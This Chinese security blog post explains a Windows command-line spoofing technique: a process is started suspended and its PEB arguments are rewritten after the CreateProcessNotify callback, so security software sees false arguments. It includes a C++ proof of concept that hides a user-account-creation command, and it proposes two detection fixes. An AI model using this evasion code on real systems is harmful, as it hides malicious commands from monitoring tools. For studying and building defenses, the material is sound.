[2022]新瓶装旧酒: 微软CreateProcessNotify的设计缺陷 huoji windows,CreateProcessNotify 2022-10-12 427 次浏览 0 次点赞 这个问题至少 至少 从被发现到现在有3年的历史了,个人认为不算漏洞了.所以开一篇文章说说这个问题. 这是att&ck上的对应T对本技术的描述: https://attack.mitre.org/techniques/T1564/010/ ### 进程启动的过程 一个简易的进程启动过程如下: API被调用 -> 硬盘数据放到内存中 -> 初始化peb等信息 -> 创建主线程 -> 主线程从peb中读取比如参数等信息并且做相应的操作,从而实现进程的"运行" ###X64上监控进程进程 在x86或者开了`hypervisor`的系统中,可以直接`hook kisystemcall64`或者`hook ssdt`表直接拦截API.但是在x64的windows系统上,由于`patchguard`的存在,无法直接这样做.因此只能老老实实按照微软的api来设置需要监控的信息回调.比如进程创建回调 `CreateProcessNotify` 线程创建回调 `CreateThreadNotify` 所有合法的软件(别跟我说用ETW hook啥的算合法安全软件) 都遵守这一套规则.今天的坑就在这展开 ### 致命缺陷 微软在设计`CreateprocessNotify`的时候没有考虑到一个致命缺陷: 给回调的时机太早 他的时机如下: API被调用 -> 硬盘数据放到内存中 -> 初始化peb等信息 -> 微软`createprocessnotify`回调 -> 创建主线程 -> 主线程从peb中读取比如参数等信息并且做相应的操作,从而实现进程的"运行" 打开ida,可以看到,insertthread后就直接执行了`createprocessnotify`  ### 意味着什么 这意味着,如果我们执行zwcreateuserprocess,并且设置为挂起的状态的话,会触发到createprocessnotify的回调.但是此时进程是挂起状态,还没有到主线程跑起来的状态.所以我们任然可以修改进程的信息,让主线程执行恶意的参数、命令行,而安全软件无法监控,这是快速poc,为了防止拿去干坏事,去掉一些结构: ```cpp int main(int argc, char** canttrustthis) { STARTUPINFOA si; PROCESS_INFORMATION pi; CONTEXT context; BOOL success; PROCESS_BASIC_INFORMATION pbi; DWORD retLen; SIZE_T bytesRead; PEB pebLocal; RTL_USER_PROCESS_PARAMETERS* parameters; memset(&si, 0, sizeof(si)); memset(&pi, 0, sizeof(pi)); success = CreateProcessA(NULL, (LPSTR) "net1.exe help", //虚假的参数 NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NEW_CONSOLE, NULL, "C:\\Windows\\System32\\", &si, &pi); if (success == FALSE) { printf("[!] Error: Could not call CreateProcess\n"); return 1; } printf("create process success,pid: %d tid: %d\n", pi.dwProcessId, pi.dwThreadId); system("pause"); NtQueryInformationProcess2 ntpi = (NtQueryInformationProcess2)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryInformationProcess"); ntpi(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &retLen); success = ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &pebLocal, sizeof(PEB), &bytesRead); if (success == FALSE) { printf("[!] Error: Could not call ReadProcessMemory to grab PEB\n"); return 1; } parameters = (RTL_USER_PROCESS_PARAMETERS*)readProcessMemory( pi.hProcess, pebLocal.ProcessParameters, sizeof(RTL_USER_PROCESS_PARAMETERS) + 300); // 真实执行的参数 WCHAR spoofed[] = L"net1.exe huoji 123456 /add\0"; success = writeProcessMemory(pi.hProcess, parameters->CommandLine.Buffer, (void*)spoofed, sizeof(spoofed)); if (success == FALSE) { printf( "[!] Error: Could not call WriteProcessMemory to update " "commandline args\n"); return 1; } DWORD newUnicodeLen = wcslen(spoofed) * 2; success = writeProcessMemory( pi.hProcess, (char*)pebLocal.ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine.Length), (void*)&newUnicodeLen, 4); if (success == FALSE) { printf( "[!] Error: Could not call WriteProcessMemory to update " "commandline arg length\n"); return 1; } system("pause"); ResumeThread(pi.hThread); system("pause"); return 0; } ``` 以上poc,在`createprocessnotify` 回调里看是这样的:  此时`createprocessnotify `的peb是这样的:  但实际情况是,我们执行了`net1 user huoji 123 /add` 这个添加用户的恶意指令并且绕过了微软的回调监控 这是实际对某国外知名安全软件的测试情况(3年了,还没修复):  ### 修复 对于微软来说,个人建议将PEB信息设置不允许用户修改,当然这是不现实的,微软不可能改的.所以对于所有安全软件来说,有两种方法: 第一,在线程创建回调,对于第一个触发回调的线程的进程再次检查PEB,可以是算CRC啥的,反正PEB不一样就肯定是有问题的 第二,在镜像加载回调,对于加载kernel32.dll/ntdll.dll的行为,对PEB进行检查,与上面同理. 本文由 huoji 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。 点赞 0
还不快抢沙发